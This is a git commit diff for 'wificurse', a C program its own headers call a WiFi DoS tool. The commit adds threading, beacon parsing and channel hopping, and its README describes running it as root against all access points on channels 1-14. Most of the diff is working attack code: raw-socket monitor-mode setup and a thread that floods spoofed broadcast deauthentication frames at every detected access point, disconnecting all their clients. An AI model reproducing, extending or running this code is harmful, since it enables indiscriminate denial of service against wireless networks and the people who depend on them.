attack improved, threading added

This commit is contained in:
oblique 2012-03-05 19:11:22 +02:00
parent 75c1fab215
commit e5701cfb78
12 changed files with 546 additions and 258 deletions

@ -1,8 +1,12 @@
PREFIX ?= /usr/local
CC = $(CROSS_COMPILE)gcc
CFLAGS ?= -O2
SRCS = $(wildcard src/*.c)
HDRS = $(wildcard src/*.h)
OBJS = $(SRCS:%.c=%.o)
LIBS = -lpthread
.PHONY: clean all install
@ -16,10 +20,10 @@ endif
all: wificurse
wificurse: $(OBJS)
$(CC) $(LDFLAGS) -o $@ $(OBJS)
$(CC) $(LDFLAGS) $(LIBS) $(OBJS) -o $@
%.o: %.c %.h
$(CC) $(CFLAGS) -c -o $@ $<
%.o: %.c $(HDRS)
$(CC) $(CFLAGS) -c $< -o $@
install: all
@mkdir -p $(INSTALLDIR)/bin

11
README

@ -12,9 +12,11 @@ apply the patch patches/cfg80211_monitor_mode_channel_fix.patch
to the kernel.
How to use it: Just run it as root and put as first argument the
card interface. It will put your interface in monitor mode automatically,
it will start DoSing and change channel every 3 seconds. The channel
range is 1 - 13.
card interface. It will automatically put your interface in monitor
mode and it will listen at channel range 1-14. If there is no AP in the
channel, it will change channel every 1 second, or else it will start
the attack which it takes approximately 30 seconds. After that it will
change channel.
compile:
@ -22,3 +24,6 @@ compile:
install:
make PREFIX=/usr install
ARM cross-compile:
make CROSS_COMPILE=arm-none-linux-gnueabi-

88
src/ap_list.c Normal file

@ -0,0 +1,88 @@
/*
wificurse - WiFi DoS tool
Copyright (C) 2012 oblique
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include "iw.h"
#include "error.h"
#include "ap_list.h"
void init_ap_list(struct ap_list *apl) {
apl->head = NULL;
apl->tail = NULL;
}
void free_ap_list(struct ap_list *apl) {
struct access_point *tmp;
while (apl->head != NULL) {
tmp = apl->head;
apl->head = apl->head->next;
free(tmp);
}
apl->head = apl->tail = NULL;
}
void link_ap(struct ap_list *apl, struct access_point *ap) {
if (apl->head == NULL)
apl->head = apl->tail = ap;
else {
ap->prev = apl->tail;
apl->tail->next = ap;
apl->tail = ap;
}
}
void unlink_ap(struct ap_list *apl, struct access_point *ap) {
if (ap->prev)
ap->prev->next = ap->next;
else
apl->head = ap->next;
if (ap->next)
ap->next->prev = ap->prev;
else
apl->tail = ap->prev;
}
int add_or_update_ap(struct ap_list *apl, struct ap_info *api) {
struct access_point *ap;
ap = apl->head;
while (ap != NULL) {
if (memcmp(ap->info.bssid, api->bssid, IFHWADDRLEN) == 0)
break;
ap = ap->next;
}
if (ap == NULL) {
ap = malloc(sizeof(*ap));
if (ap == NULL)
return_error("malloc");
memset(ap, 0, sizeof(*ap));
memcpy(&ap->info, api, sizeof(ap->info));
link_ap(apl, ap);
}
ap->last_beacon_tm = time(NULL);
return 0;
}

@ -16,23 +16,42 @@
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef DEV_H
#define DEV_H
#ifndef AP_LIST_H
#define AP_LIST_H
#include <stdint.h>
#include <time.h>
#include <sys/socket.h>
#include <linux/wireless.h>
struct dev {
char ifname[IFNAMSIZ+1];
int ifindex;
int fd;
#define ESSID_LEN 32
struct ap_info {
int chan;
struct ifreq old_flags;
struct iwreq old_mode;
uint8_t bssid[IFHWADDRLEN];
uint8_t essid[ESSID_LEN+1];
};
struct access_point {
volatile unsigned int num_of_deauths;
time_t last_beacon_tm;
uint16_t sequence:12;
struct ap_info info;
struct access_point *next;
struct access_point *prev;
};
struct ap_list {
struct access_point *head;
struct access_point *tail;
};
void init_dev(struct dev *dev);
void init_ap_list(struct ap_list *apl);
void free_ap_list(struct ap_list *apl);
void link_ap(struct ap_list *apl, struct access_point *ap);
void unlink_ap(struct ap_list *apl, struct access_point *ap);
int add_or_update_ap(struct ap_list *apl, struct ap_info *api);
#endif

56
src/channelset.h Normal file

@ -0,0 +1,56 @@
/*
wificurse - WiFi DoS tool
Copyright (C) 2012 oblique
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef CHANNELSET_H
#define CHANNELSET_H
#include <stdint.h>
#define CHANNEL_MAX 255
typedef volatile uint32_t channelset_t[8];
static inline void channel_zero(channelset_t *cs) {
uint32_t *c = (uint32_t*)cs;
c[0] = c[1] = c[2] = c[3] = 0;
c[4] = c[5] = c[6] = c[7] = 0;
}
static inline void channel_set(channelset_t *cs, uint8_t chan) {
uint32_t *c = (uint32_t*)cs;
c[chan/32] |= 1 << (chan % 32);
}
static inline void channel_unset(channelset_t *cs, uint8_t chan) {
uint32_t *c = (uint32_t*)cs;
c[chan/32] &= ~(1 << (chan % 32));
}
static inline int channel_isset(channelset_t *cs, uint8_t chan) {
uint32_t *c = (uint32_t*)cs;
return !!(c[chan/32] & (1 << (chan % 32)));
}
static inline void channel_copy(channelset_t *dest, channelset_t *src) {
uint32_t i, *dc, *sc;
dc = (uint32_t*)dest;
sc = (uint32_t*)src;
for (i=0; i<8; i++)
dc[i] = sc[i];
}
#endif

@ -18,115 +18,46 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include "dev.h"
#include "error.h"
#include "iw.h"
#include "ap_list.h"
#include "console.h"
#include "wificurse.h"
void init_ap_list(struct ap_list *apl) {
apl->head = NULL;
apl->tail = NULL;
}
void free_ap_list(struct ap_list *apl) {
struct access_point *tmp;
while (apl->head != NULL) {
tmp = apl->head;
apl->head = apl->head->next;
free(tmp);
}
apl->head = apl->tail = NULL;
}
int add_or_update_ap(struct ap_list *apl, uint8_t *bssid) {
struct access_point *ap;
ap = apl->head;
while (ap != NULL) {
if (memcmp(ap->bssid, bssid, sizeof(ap->bssid)) == 0)
break;
ap = ap->next;
}
if (ap == NULL) {
ap = malloc(sizeof(*ap));
if (ap == NULL)
return_error("malloc");
memset(ap, 0, sizeof(*ap));
memcpy(ap->bssid, bssid, sizeof(ap->bssid));
if (apl->head == NULL)
apl->head = apl->tail = ap;
else {
ap->prev = apl->tail;
apl->tail->next = ap;
apl->tail = ap;
}
}
ap->last_beacon_tm = time(NULL);
ap->deauth = 1;
ap->num_of_deauth++;
return 0;
}
void clear_deauth(struct ap_list *apl) {
struct access_point *ap;
ap = apl->head;
while (ap != NULL) {
ap->deauth = 0;
ap = ap->next;
}
}
void unlink_ap(struct ap_list *apl, struct access_point *ap) {
if (ap->prev)
ap->prev->next = ap->next;
else
apl->head = ap->next;
if (ap->next)
ap->next->prev = ap->prev;
else
apl->tail = ap->prev;
}
void clear_scr() {
printf("\033[2J\033[1;1H");
fflush(stdout);
}
void update_scr(struct ap_list *apl, struct dev *dev) {
struct access_point *ap, *tmp;
void update_scr(struct ap_list *apl, struct iw_dev *dev) {
struct access_point *ap;
/* move cursor at colum 1 row 1 */
printf("\033[1;1H");
printf("[ Channel: %3d ]\n\n", dev->chan);
printf("Deauth BSSID Number of Deauth\n\n");
printf("\n CH %3d ][ WiFi Curse v" VERSION "\n\n", dev->chan);
printf(" Deauth "
"BSSID "
" CH "
"ESSID\n\n");
ap = apl->head;
while (ap != NULL) {
if (time(NULL) - ap->last_beacon_tm >= 60) {
tmp = ap;
ap = ap->next;
unlink_ap(apl, tmp);
free(tmp);
continue;
}
if (ap->deauth)
printf(RED_COLOR("*"));
/* erase whole line */
printf("\033[2K");
if (ap->info.chan == dev->chan)
printf(RED_COLOR "*" RESET_COLOR);
else
printf(" ");
printf(" %02x:%02x:%02x:%02x:%02x:%02x", ap->bssid[0], ap->bssid[1],
ap->bssid[2], ap->bssid[3], ap->bssid[4], ap->bssid[5]);
printf(" %d\n", ap->num_of_deauth);
printf(" %11d", ap->num_of_deauths);
printf(" %02x:%02x:%02x:%02x:%02x:%02x", ap->info.bssid[0],
ap->info.bssid[1], ap->info.bssid[2], ap->info.bssid[3],
ap->info.bssid[4], ap->info.bssid[5]);
printf(" %3d ", ap->info.chan);
if (ap->info.essid[0] == '\0') {
printf(" <hidden>\n");
} else
printf(" %s\n", ap->info.essid);
ap = ap->next;
}

@ -19,35 +19,14 @@
#ifndef CONSOLE_H
#define CONSOLE_H
#include <stdint.h>
#include <time.h>
#include <sys/socket.h>
#include <linux/wireless.h>
#include "dev.h"
#include "iw.h"
#include "ap_list.h"
struct access_point {
int deauth;
unsigned int num_of_deauth;
time_t last_beacon_tm;
uint8_t bssid[IFHWADDRLEN];
struct access_point *next;
struct access_point *prev;
};
struct ap_list {
struct access_point *head;
struct access_point *tail;
};
void init_ap_list(struct ap_list *apl);
int add_or_update_ap(struct ap_list *apl, uint8_t *bssid);
void unlink_ap(struct ap_list *apl, struct access_point *ap);
void clear_deauth(struct ap_list *apl);
void clear_scr();
void update_scr(struct ap_list *apl, struct dev *dev);
void update_scr(struct ap_list *apl, struct iw_dev *dev);
#define RED_COLOR(str) "\033[1;31m" str "\033[0m"
#define RED_COLOR "\033[1;31m"
#define RESET_COLOR "\033[0m"
#endif

@ -1,26 +0,0 @@
/*
wificurse - WiFi DoS tool
Copyright (C) 2012 oblique
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include <string.h>
#include "dev.h"
void init_dev(struct dev *dev) {
memset(dev, 0, sizeof(*dev));
dev->fd = -1;
}

@ -27,10 +27,16 @@
#include "iw.h"
void iw_init_dev(struct iw_dev *dev) {
memset(dev, 0, sizeof(*dev));
dev->fd_in = -1;
dev->fd_out = -1;
}
/* man 7 netdevice
* man 7 packet
*/
int iw_open(struct dev *dev) {
int iw_open(struct iw_dev *dev) {
struct ifreq ifr;
struct iwreq iwr;
struct sockaddr_ll sll;
@ -40,19 +46,27 @@ int iw_open(struct dev *dev) {
fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (fd < 0)
return_error("socket");
dev->fd = fd;
dev->fd_in = fd;
dev->fd_out = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (dev->fd_out < 0)
return_error("socket");
/* save current interface flags */
memset(&dev->old_flags, 0, sizeof(dev->old_flags));
strncpy(dev->old_flags.ifr_name, dev->ifname, sizeof(dev->old_flags.ifr_name)-1);
if (ioctl(fd, SIOCGIFFLAGS, &dev->old_flags) < 0)
if (ioctl(fd, SIOCGIFFLAGS, &dev->old_flags) < 0) {
dev->old_flags.ifr_name[0] = '\0';
return_error("ioctl(SIOCGIFFLAGS)");
}
/* save current interface mode */
memset(&dev->old_mode, 0, sizeof(dev->old_mode));
strncpy(dev->old_mode.ifr_name, dev->ifname, sizeof(dev->old_mode.ifr_name)-1);
if (ioctl(fd, SIOCGIWMODE, &dev->old_mode) < 0)
if (ioctl(fd, SIOCGIWMODE, &dev->old_mode) < 0) {
dev->old_mode.ifr_name[0] = '\0';
return_error("ioctl(SIOCGIWMODE)");
}
/* set interface down (ifr_flags = 0) */
memset(&ifr, 0, sizeof(ifr));
@ -77,42 +91,59 @@ int iw_open(struct dev *dev) {
return_error("ioctl(SIOCGIFINDEX)");
dev->ifindex = ifr.ifr_ifindex;
/* bind interface to socket */
/* bind interface to fd_in socket */
memset(&sll, 0, sizeof(sll));
sll.sll_family = AF_PACKET;
sll.sll_ifindex = dev->ifindex;
sll.sll_protocol = htons(ETH_P_ALL);
if (bind(fd, (struct sockaddr*)&sll, sizeof(sll)) < 0)
if (bind(dev->fd_in, (struct sockaddr*)&sll, sizeof(sll)) < 0)
return_error("bind(%s)", dev->ifname);
/* enable promiscuous mode */
/* bind interface to fd_out socket */
if (bind(dev->fd_out, (struct sockaddr*)&sll, sizeof(sll)) < 0)
return_error("bind(%s)", dev->ifname);
shutdown(dev->fd_in, SHUT_WR);
shutdown(dev->fd_out, SHUT_RD);
/* set fd_in in promiscuous mode */
memset(&mreq, 0, sizeof(mreq));
mreq.mr_ifindex = dev->ifindex;
mreq.mr_type = PACKET_MR_PROMISC;
if (setsockopt(fd, SOL_PACKET, PACKET_ADD_MEMBERSHIP, &mreq, sizeof(mreq)) < 0)
if (setsockopt(dev->fd_in, SOL_PACKET, PACKET_ADD_MEMBERSHIP, &mreq, sizeof(mreq)) < 0)
return_error("setsockopt(PACKET_MR_PROMISC)");
return 0;
}
void iw_close(struct dev *dev) {
void iw_close(struct iw_dev *dev) {
struct ifreq ifr;
if (dev->fd == -1)
if (dev->fd_in == -1)
return;
/* set interface down (ifr_flags = 0) */
memset(&ifr, 0, sizeof(ifr));
strncpy(ifr.ifr_name, dev->ifname, sizeof(ifr.ifr_name)-1);
ioctl(dev->fd, SIOCSIFFLAGS, &ifr);
/* restore old mode */
ioctl(dev->fd, SIOCSIWMODE, &dev->old_mode);
/* restore old flags */
ioctl(dev->fd, SIOCSIFFLAGS, &dev->old_flags);
close(dev->fd);
if (dev->fd_out == -1) {
close(dev->fd_in);
return;
}
if (dev->old_flags.ifr_name[0] != '\0') {
/* set interface down (ifr_flags = 0) */
memset(&ifr, 0, sizeof(ifr));
strncpy(ifr.ifr_name, dev->ifname, sizeof(ifr.ifr_name)-1);
ioctl(dev->fd_in, SIOCSIFFLAGS, &ifr);
/* restore old mode */
if (dev->old_mode.ifr_name[0] != '\0')
ioctl(dev->fd_in, SIOCSIWMODE, &dev->old_mode);
/* restore old flags */
ioctl(dev->fd_in, SIOCSIFFLAGS, &dev->old_flags);
}
close(dev->fd_in);
close(dev->fd_out);
}
ssize_t iw_write(int fd, void *buf, size_t count) {
ssize_t iw_write(struct iw_dev *dev, void *buf, size_t count) {
unsigned char *pbuf, *pkt;
struct radiotap_hdr *rt_hdr;
struct write_radiotap_data *w_rt_data;
@ -137,7 +168,7 @@ ssize_t iw_write(int fd, void *buf, size_t count) {
/* packet */
memcpy(pkt, buf, count);
r = send(fd, pbuf, rt_hdr->len + count, 0);
r = send(dev->fd_out, pbuf, rt_hdr->len + count, 0);
if (r < 0) {
free(pbuf);
return_error("send");
@ -149,12 +180,12 @@ ssize_t iw_write(int fd, void *buf, size_t count) {
return r > 0 ? r : ERRAGAIN;
}
ssize_t iw_read(int fd, void *buf, size_t count, uint8_t **pkt, size_t *pkt_sz) {
ssize_t iw_read(struct iw_dev *dev, void *buf, size_t count, uint8_t **pkt, size_t *pkt_sz) {
struct radiotap_hdr *rt_hdr;
int r;
/* read packet */
r = recv(fd, buf, count, 0);
r = recv(dev->fd_in, buf, count, 0);
if (r < 0)
return_error("recv");
@ -168,9 +199,8 @@ ssize_t iw_read(int fd, void *buf, size_t count, uint8_t **pkt, size_t *pkt_sz)
return r;
}
int iw_can_change_channel(struct dev *dev) {
int iw_can_change_channel(struct iw_dev *dev) {
struct iwreq iwr;
ssize_t ret;
/* set channel */
memset(&iwr, 0, sizeof(iwr));
@ -178,30 +208,30 @@ int iw_can_change_channel(struct dev *dev) {
iwr.u.freq.flags = IW_FREQ_FIXED;
iwr.u.freq.m = 1;
if (ioctl(dev->fd, SIOCSIWFREQ, &iwr) < 0)
if (ioctl(dev->fd_in, SIOCSIWFREQ, &iwr) < 0)
return 0;
if (ioctl(dev->fd, SIOCGIWFREQ, &iwr) < 0)
if (ioctl(dev->fd_in, SIOCGIWFREQ, &iwr) < 0)
return 0;
/* channel 1 frequency is 2412 */
return iwr.u.freq.m == 2412;
}
int iw_set_channel(struct dev *dev, int chan) {
int iw_set_channel(struct iw_dev *dev, int chan) {
struct iwreq iwr;
ssize_t ret;
/* discard packets that are in kernel packet queue */
ret = 0;
while (ret != -1)
ret = recv(dev->fd, NULL, 0, MSG_DONTWAIT);
ret = recv(dev->fd_in, NULL, 0, MSG_DONTWAIT);
/* set channel */
memset(&iwr, 0, sizeof(iwr));
strncpy(iwr.ifr_name, dev->ifname, sizeof(iwr.ifr_name)-1);
iwr.u.freq.flags = IW_FREQ_FIXED;
iwr.u.freq.m = chan;
if (ioctl(dev->fd, SIOCSIWFREQ, &iwr) < 0)
if (ioctl(dev->fd_in, SIOCSIWFREQ, &iwr) < 0)
return_error("ioctl(SIOCSIWFREQ)");
dev->chan = chan;

@ -20,7 +20,8 @@
#define IW_H
#include <stdint.h>
#include "dev.h"
#include <sys/socket.h>
#include <linux/wireless.h>
struct radiotap_hdr {
@ -41,12 +42,23 @@ struct write_radiotap_data {
#define RADIOTAP_F_TX_FLAGS_NOACK 0x0008
#define RADIOTAP_F_TX_FLAGS_NOSEQ 0x0010
struct iw_dev {
char ifname[IFNAMSIZ+1];
int ifindex;
int fd_in;
int fd_out;
volatile int chan;
struct ifreq old_flags;
struct iwreq old_mode;
};
int iw_open(struct dev *dev);
void iw_close(struct dev *dev);
ssize_t iw_write(int fd, void *buf, size_t count);
ssize_t iw_read(int fd, void *buf, size_t count, uint8_t **pkt, size_t *pkt_sz);
int iw_can_change_channel(struct dev *dev);
int iw_set_channel(struct dev *dev, int chan);
void iw_init_dev(struct iw_dev *dev);
int iw_open(struct iw_dev *dev);
void iw_close(struct iw_dev *dev);
ssize_t iw_write(struct iw_dev *dev, void *buf, size_t count);
ssize_t iw_read(struct iw_dev *dev, void *buf, size_t count, uint8_t **pkt, size_t *pkt_sz);
int iw_can_change_channel(struct iw_dev *dev);
int iw_set_channel(struct iw_dev *dev, int chan);
#endif

@ -22,18 +22,32 @@
#include <string.h>
#include <poll.h>
#include <signal.h>
#include "dev.h"
#include <pthread.h>
#include <time.h>
#include <sys/time.h>
#include "iw.h"
#include "error.h"
#include "console.h"
#include "ap_list.h"
#include "channelset.h"
#include "wificurse.h"
int send_deauth(int fd, uint8_t *ap_mac) {
static volatile int stop;
struct deauth_thread_args {
struct ap_list *apl;
struct iw_dev *dev;
pthread_mutex_t *mutex_chan;
pthread_mutex_t *mutex_list;
channelset_t *chans_fixed;
channelset_t *chans;
};
int send_deauth(struct iw_dev *dev, struct access_point *ap) {
struct mgmt_frame *deauth;
uint16_t *reason;
ssize_t r;
int i;
deauth = malloc(sizeof(*deauth) + sizeof(*reason));
if (deauth == NULL)
@ -43,23 +57,20 @@ int send_deauth(int fd, uint8_t *ap_mac) {
deauth->fc.subtype = FRAME_CONTROL_SUBTYPE_DEAUTH;
/* broadcast mac (ff:ff:ff:ff:ff:ff) */
memset(deauth->dest_mac, '\xff', IFHWADDRLEN);
memcpy(deauth->src_mac, ap_mac, IFHWADDRLEN);
memcpy(deauth->bssid, ap_mac, IFHWADDRLEN);
memcpy(deauth->src_mac, ap->info.bssid, IFHWADDRLEN);
memcpy(deauth->bssid, ap->info.bssid, IFHWADDRLEN);
reason = (uint16_t*)&deauth->frame_body;
/* reason 7: Class 3 frame received from nonassociated STA */
*reason = htons(7);
*reason = 7;
/* flood the network */
for (i=0; i<128; i++) {
deauth->sc.sequence = i;
do {
r = iw_write(fd, deauth, sizeof(*deauth) + sizeof(*reason));
} while (r == ERRAGAIN);
if (r < 0) {
free(deauth);
return r;
}
usleep(1000);
/* send deauth */
deauth->sc.sequence = ap->sequence++;
do {
r = iw_write(dev, deauth, sizeof(*deauth) + sizeof(*reason));
} while (r == ERRAGAIN);
if (r < 0) {
free(deauth);
return r;
}
free(deauth);
@ -67,13 +78,15 @@ int send_deauth(int fd, uint8_t *ap_mac) {
return 0;
}
int read_bssid(int fd, uint8_t *bssid) {
uint8_t buf[256], *pkt;
int read_ap_info(struct iw_dev *dev, struct ap_info *api) {
uint8_t buf[4096], *pkt;
size_t pkt_sz;
ssize_t r;
ssize_t r, tmp, n;
struct mgmt_frame *beacon;
struct beacon_frame_body *beacon_fb;
struct info_element *beacon_ie;
r = iw_read(fd, buf, sizeof(buf), &pkt, &pkt_sz);
r = iw_read(dev, buf, sizeof(buf), &pkt, &pkt_sz);
if (r < 0)
return r;
@ -81,22 +94,121 @@ int read_bssid(int fd, uint8_t *bssid) {
/* if it's a beacon packet */
if (beacon->fc.subtype == FRAME_CONTROL_SUBTYPE_BEACON) {
memcpy(bssid, beacon->bssid, IFHWADDRLEN);
memcpy(api->bssid, beacon->bssid, IFHWADDRLEN);
beacon_fb = (struct beacon_frame_body*)beacon->frame_body;
beacon_ie = beacon_fb->infos;
api->essid[0] = '\0';
n = 0;
/* parse beacon */
while (1) {
if (beacon_ie->id == INFO_ELEMENT_ID_SSID) { /* SSID found */
tmp = beacon_ie->len < ESSID_LEN ? beacon_ie->len : ESSID_LEN;
memcpy(api->essid, beacon_ie->info, tmp);
api->essid[tmp] = '\0';
n |= 1;
} else if (beacon_ie->id == INFO_ELEMENT_ID_DS) { /* channel number found */
api->chan = beacon_ie->info[0];
n |= 2;
}
if (n == (1|2))
break;
/* next beacon element */
beacon_ie = (struct info_element*)&beacon_ie->info[beacon_ie->len];
if ((uintptr_t)beacon_ie - (uintptr_t)buf >= r)
break;
}
/* if we didn't found the channel number
* or if the channel number is not in interference range
* then return ERRNODATA
*/
if (!(n & 2) || api->chan < dev->chan-2 || api->chan > dev->chan+2)
return ERRNODATA;
return 0;
}
return ERRNODATA;
}
void *deauth_thread_func(void *arg) {
struct deauth_thread_args *ta = arg;
struct access_point *ap, *tmp;
int i, j, b, tmp_chan;
while (!stop) {
pthread_mutex_lock(ta->mutex_chan);
b = 0;
for (i=0; i<60 && !stop; i++) {
for (j=0; j<128 && !stop; j++) {
ap = ta->apl->head;
while (ap != NULL && !stop) {
/* if the last beacon we got was 3 mins ago, remove AP */
if (time(NULL) - ap->last_beacon_tm >= 3*60) {
tmp_chan = ap->info.chan;
tmp = ap;
ap = ap->next;
pthread_mutex_lock(ta->mutex_list);
unlink_ap(ta->apl, tmp);
free(tmp);
/* if AP channel is not in chans_fixed and there isn't any
* other AP that use this channel, remove it from chans.
*/
if (!channel_isset(ta->chans_fixed, tmp_chan)) {
tmp = ta->apl->head;
while (tmp != NULL) {
if (tmp->info.chan == tmp_chan)
break;
tmp = tmp->next;
}
if (tmp == NULL)
channel_unset(ta->chans, tmp_chan);
}
pthread_mutex_unlock(ta->mutex_list);
continue;
}
/* if interface and AP are in the same channel, send deauth */
if (ap->info.chan == ta->dev->chan) {
if (send_deauth(ta->dev, ap) < 0) {
print_error();
stop = 2; /* notify main thread that we got an error */
}
b = 1;
ap->num_of_deauths++;
}
ap = ap->next;
}
/* if we have send deauth, sleep for 2000 microseconds */
if (b && !stop)
usleep(2000);
}
/* if we have send deauth, sleep for 180000 microseconds */
if (b && !stop)
usleep(180000);
}
pthread_mutex_unlock(ta->mutex_chan);
/* small delay to avoid fast relock of mutex_chan */
usleep(100);
}
return NULL;
}
int main(int argc, char *argv[]) {
struct dev dev;
struct ap_list apl;
uint8_t bssid[IFHWADDRLEN];
sigset_t exit_sig;
struct ap_info api;
struct iw_dev dev;
struct pollfd pfd[2];
time_t tm1;
int chan, ret, sigfd;
struct deauth_thread_args ta;
struct timeval tv1, tv2;
suseconds_t msec;
pthread_t deauth_thread;
pthread_mutex_t mutex_chan, mutex_list;
channelset_t chans_fixed, chans;
int ret, sigfd, n, chan;
sigset_t exit_sig;
time_t tm;
if (argc != 2) {
fprintf(stderr, "\n WiFi Curse v" VERSION " (C) 2012 oblique\n\n");
@ -133,37 +245,68 @@ int main(int argc, char *argv[]) {
pfd[0].events = POLLIN;
/* init device */
init_dev(&dev);
iw_init_dev(&dev);
strncpy(dev.ifname, argv[1], sizeof(dev.ifname)-1);
if (iw_open(&dev) < 0) {
print_error();
goto _errout;
goto _errout_no_thread;
}
if (!iw_can_change_channel(&dev)) {
fprintf(stderr, "%s can not change channels in monitor mode.\n"
"Maybe you need to patch your kernel with:\n"
" patches/cfg80211_monitor_mode_channel_fix.patch\n", dev.ifname);
goto _errout;
goto _errout_no_thread;
}
pfd[1].fd = dev.fd;
pfd[1].fd = dev.fd_in;
pfd[1].revents = 0;
pfd[1].events = POLLIN;
tm1 = time(NULL);
chan = 1;
/* init channel set */
channel_zero(&chans_fixed);
for (n=1; n<=14; n++)
channel_set(&chans_fixed, n);
channel_copy(&chans, &chans_fixed);
if (iw_set_channel(&dev, chan) < 0) {
/* set channel */
n = 0;
chan = 0;
do {
chan = (chan % CHANNEL_MAX) + 1;
if (channel_isset(&chans, chan))
ret = iw_set_channel(&dev, chan);
else
ret = -1;
/* if fails try next channel */
} while(++n < CHANNEL_MAX && ret < 0);
if (ret < 0) {
print_error();
goto _errout;
goto _errout_no_thread;
}
/* start deauth thread */
stop = 0;
ta.apl = &apl;
ta.dev = &dev;
ta.chans_fixed = &chans_fixed;
ta.chans = &chans;
pthread_mutex_init(&mutex_chan, NULL);
ta.mutex_chan = &mutex_chan;
pthread_mutex_init(&mutex_list, NULL);
ta.mutex_list = &mutex_list;
if (pthread_create(&deauth_thread, NULL, deauth_thread_func, &ta) < 0) {
err_msg("pthread_create");
goto _errout_no_thread;
}
clear_scr();
update_scr(&apl, &dev);
tm = time(NULL);
gettimeofday(&tv1, NULL);
while (1) {
while (!stop) {
if (poll(pfd, 2, 0) < 0) {
err_msg("poll");
goto _errout;
@ -173,46 +316,76 @@ int main(int argc, char *argv[]) {
break;
if (pfd[1].revents & POLLIN) {
ret = read_bssid(dev.fd, bssid);
ret = read_ap_info(&dev, &api);
if (ret < 0 && ret != ERRNODATA) { /* error */
print_error();
goto _errout;
} else if (ret == 0) { /* got BSSID */
if (add_or_update_ap(&apl, bssid) < 0) {
print_error();
goto _errout;
}
update_scr(&apl, &dev);
if (send_deauth(dev.fd, bssid) < 0) {
} else if (ret == 0) { /* got infos */
channel_set(&chans, api.chan);
pthread_mutex_lock(&mutex_list);
if (add_or_update_ap(&apl, &api) < 0) {
pthread_mutex_unlock(&mutex_list);
print_error();
goto _errout;
}
pthread_mutex_unlock(&mutex_list);
}
}
/* change channel every 3 seconds */
if (time(NULL) - tm1 >= 3) {
int n = 0;
do {
chan = (chan % 13) + 1;
ret = iw_set_channel(&dev, chan);
/* if fails try next channel */
} while(++n < 13 && ret < 0);
if (ret < 0) {
print_error();
goto _errout;
}
clear_deauth(&apl);
gettimeofday(&tv2, NULL);
if (tv2.tv_usec > tv1.tv_usec)
msec = tv2.tv_usec - tv1.tv_usec;
else
msec = tv1.tv_usec - tv2.tv_usec;
/* update screen every 0.5 second */
if (msec >= 500000) {
pthread_mutex_lock(&mutex_list);
update_scr(&apl, &dev);
tm1 = time(NULL);
pthread_mutex_unlock(&mutex_list);
gettimeofday(&tv1, NULL);
}
/* change channel at least every 1 second */
if (time(NULL) - tm >= 1) {
n = 0;
do {
if (pthread_mutex_trylock(&mutex_chan) != 0) {
n = -1;
break;
}
chan = (chan % CHANNEL_MAX) + 1;
if (channel_isset(&chans, chan))
ret = iw_set_channel(&dev, chan);
else
ret = -1;
pthread_mutex_unlock(&mutex_chan);
/* if fails try next channel */
} while(++n < CHANNEL_MAX && ret < 0);
if (n != -1) {
if (ret < 0) {
print_error();
goto _errout;
}
tm = time(NULL);
}
}
}
/* we got an error from deauth thread */
if (stop == 2)
goto _errout;
printf("\nExiting..\n");
stop = 1;
pthread_join(deauth_thread, NULL);
iw_close(&dev);
free_ap_list(&apl);
return EXIT_SUCCESS;
_errout:
stop = 1;
pthread_join(deauth_thread, NULL);
_errout_no_thread:
iw_close(&dev);
free_ap_list(&apl);
return EXIT_FAILURE;

@ -21,10 +21,11 @@
#include <stdint.h>
#include <linux/if.h>
#include "dev.h"
#include "iw.h"
#include "ap_list.h"
#define VERSION "0.2"
#define VERSION "0.3"
struct frame_control {
uint8_t protocol_version:2;
@ -58,8 +59,24 @@ struct mgmt_frame {
uint8_t frame_body[];
} __attribute__((__packed__));
struct info_element {
uint8_t id;
uint8_t len;
uint8_t info[];
} __attribute__((__packed__));
int send_deauth(int fd, uint8_t *ap_mac);
int read_bssid(int fd, uint8_t *bssid);
#define INFO_ELEMENT_ID_SSID 0
#define INFO_ELEMENT_ID_DS 3
struct beacon_frame_body {
uint64_t timestamp;
uint16_t interval;
uint16_t capabilities;
struct info_element infos[];
} __attribute__((__packed__));
int send_deauth(struct iw_dev *dev, struct access_point *ap);
int read_ap_info(struct iw_dev *dev, struct ap_info *api);
#endif